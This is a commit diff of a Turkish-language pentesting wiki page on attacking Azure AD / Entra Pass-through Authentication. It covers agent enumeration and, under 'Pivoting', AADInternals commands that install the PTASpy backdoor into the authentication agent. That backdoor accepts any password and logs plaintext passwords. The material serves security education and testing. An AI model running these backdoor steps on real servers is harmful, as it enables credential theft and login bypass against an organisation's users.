Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:18 +00:00
parent 66d4dcfd62
commit 142e6782a1
@@ -4,7 +4,7 @@
## Temel Bilgiler
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication, kullanıcılarınızın **hem yerel hem de bulut tabanlı uygulamalara aynı şifreleri kullanarak giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az ve IT yardım masası maliyetlerini azaltır çünkü kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşüktür. Kullanıcılar Azure AD kullanarak giriş yaptığında, bu özellik **kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular**.
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra geçiş kimlik doğrulaması, kullanıcılarınızın **hem yerel hem de bulut tabanlı uygulamalara aynı şifreleri kullanarak giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az, ayrıca IT yardım masası maliyetlerini azaltır çünkü kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşüktür. Kullanıcılar Microsoft Entra ID kullanarak giriş yaptıklarında, bu özellik kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular.
PTA'da **kimlikler** **senkronize** edilir ancak **şifreler** PHS'deki gibi **senkronize edilmez**.
@@ -14,51 +14,83 @@ Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sun
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Kullanıcı **giriş yapmak** için **Azure AD'ye** yönlendirilir, burada **kullanıcı adı** ve **şifre** gönderir.
1. Kullanıcı **giriş yapmak** için **Azure AD**'ye yönlendirilir, burada **kullanıcı adı** ve **şifre** gönderir.
2. **Kimlik bilgileri** **şifrelenir** ve Azure AD'de bir **kuvvet** içine yerleştirilir.
3. **Yerel kimlik doğrulama ajanı**, kuyruktan **kimlik bilgilerini** toplar ve **şifreler**. Bu ajana **"Pass-through authentication agent"** veya **PTA agent** denir.
4. **Ajan**, kimlik bilgilerini **yerel AD** ile **doğrular** ve **yanıtı** **geri** Azure AD'ye gönderir; eğer yanıt olumluysa, kullanıcının **girişini tamamlar**.
3. **Yerel kimlik doğrulama ajanı**, kuyruktan **kimlik bilgilerini** toplar ve **şifreler**. Bu ajana **"Geçiş kimlik doğrulama ajanı"** veya **PTA ajanı** denir.
4. **Ajan**, kimlik bilgilerini **yerel AD** ile **doğrular** ve **yanıtı** **Azure AD'ye geri** gönderir; eğer yanıt olumluysa, kullanıcının **girişini tamamlar**.
> [!WARNING]
> Eğer bir saldırgan **PTA'yı ele geçirirse**, kuyruktaki tüm **kimlik bilgilerini** (şifrelenmemiş olarak) **görebilir**.\
> Eğer bir saldırgan **PTA'yı tehlikeye atarsa**, kuyruktaki tüm **kimlik bilgilerini** (şifrelenmemiş olarak) **görebilir**.\
> Ayrıca AzureAD'ye **herhangi bir kimlik bilgisini doğrulayabilir** (Skeleton key'e benzer bir saldırı).
### Yerel -> bulut
### Sayım
Eğer **PTA** **ajanı** çalışan **Azure AD Connect sunucusuna** **yönetici** erişiminiz varsa, **Tüm şifreleri** doğrulayacak bir **arka kapı** **eklemek** için **AADInternals** modülünü kullanabilirsiniz:
Entra ID'den:
```bash
Install-AADIntPTASpy
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Ajanın yerel sunucuda çalışıp çalışmadığını kontrol edin:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Eğer **PTA** **ajansı** çalışan **Azure AD Connect sunucusu** üzerinde **admin** erişiminiz varsa, **ALL** girilen şifreleri **doğrulayan** bir **arka kapı** **eklemek** için **AADInternals** modülünü kullanabilirsiniz (yani tüm şifreler kimlik doğrulama için geçerli olacaktır):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Eğer **kurulum başarısız olursa**, bu muhtemelen eksik [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) nedeniyle olabilir.
Ayrıca, önceki arka kapının kurulu olduğu makinede aşağıdaki cmdlet'i kullanarak **PTA ajanına gönderilen düz metin şifrelerini görmek** de mümkündür:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Bu arka kapı şunları yapacaktır:
Bu arka kapı:
- Gizli bir klasör oluşturur `C:\PTASpy`
- `PTASpy.dll` dosyasını `C:\PTASpy` klasörüne kopyalar
- Gizli bir klasör `C:\PTASpy` oluşturur
- `PTASpy.dll` dosyasını `C:\PTASpy`'ye kopyalar
- `PTASpy.dll` dosyasını `AzureADConnectAuthenticationAgentService` sürecine enjekte eder
> [!NOTE]
> AzureADConnectAuthenticationAgent servisi yeniden başlatıldığında, PTASpy "boşaltılır" ve yeniden yüklenmesi gerekir.
### Bulut -> Yerel
> AzureADConnectAuthenticationAgent servisi yeniden başlatıldığında, PTASpy boşaltılır ve yeniden kurulması gerekir.
> [!CAUTION]
> Bulutta **GA ayrıcalıkları** alındıktan sonra, **saldırgan kontrolündeki bir makinede** yeni bir PTA ajanı **kaydetmek** mümkündür. Ajan **kurulduktan** sonra, **herhangi bir şifre** kullanarak **kimlik doğrulama** yapmak için **önceki** adımları **tekrarlayabiliriz** ve ayrıca, **şifreleri düz metin olarak alabiliriz.**
> Bulutta **GA ayrıcalıkları** alındıktan sonra, **yeni bir PTA ajanı kaydetmek** mümkün olup, **önceki** adımları **herhangi bir şifre kullanarak kimlik doğrulamak** ve ayrıca, **şifreleri düz metin olarak almak** mümkündür.
### Seamless SSO
PTA ile Seamless SSO kullanmak mümkündür, bu da diğer kötüye kullanımlara karşı savunmasızdır. Bunu kontrol edin:
PTA ile Seamless SSO kullanmak mümkündür, bu da diğer kötüye kullanımlara açıktır. Bunu kontrol edin:
{{#ref}}
seamless-sso.md
{{#endref}}
## Referanslar
## References
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)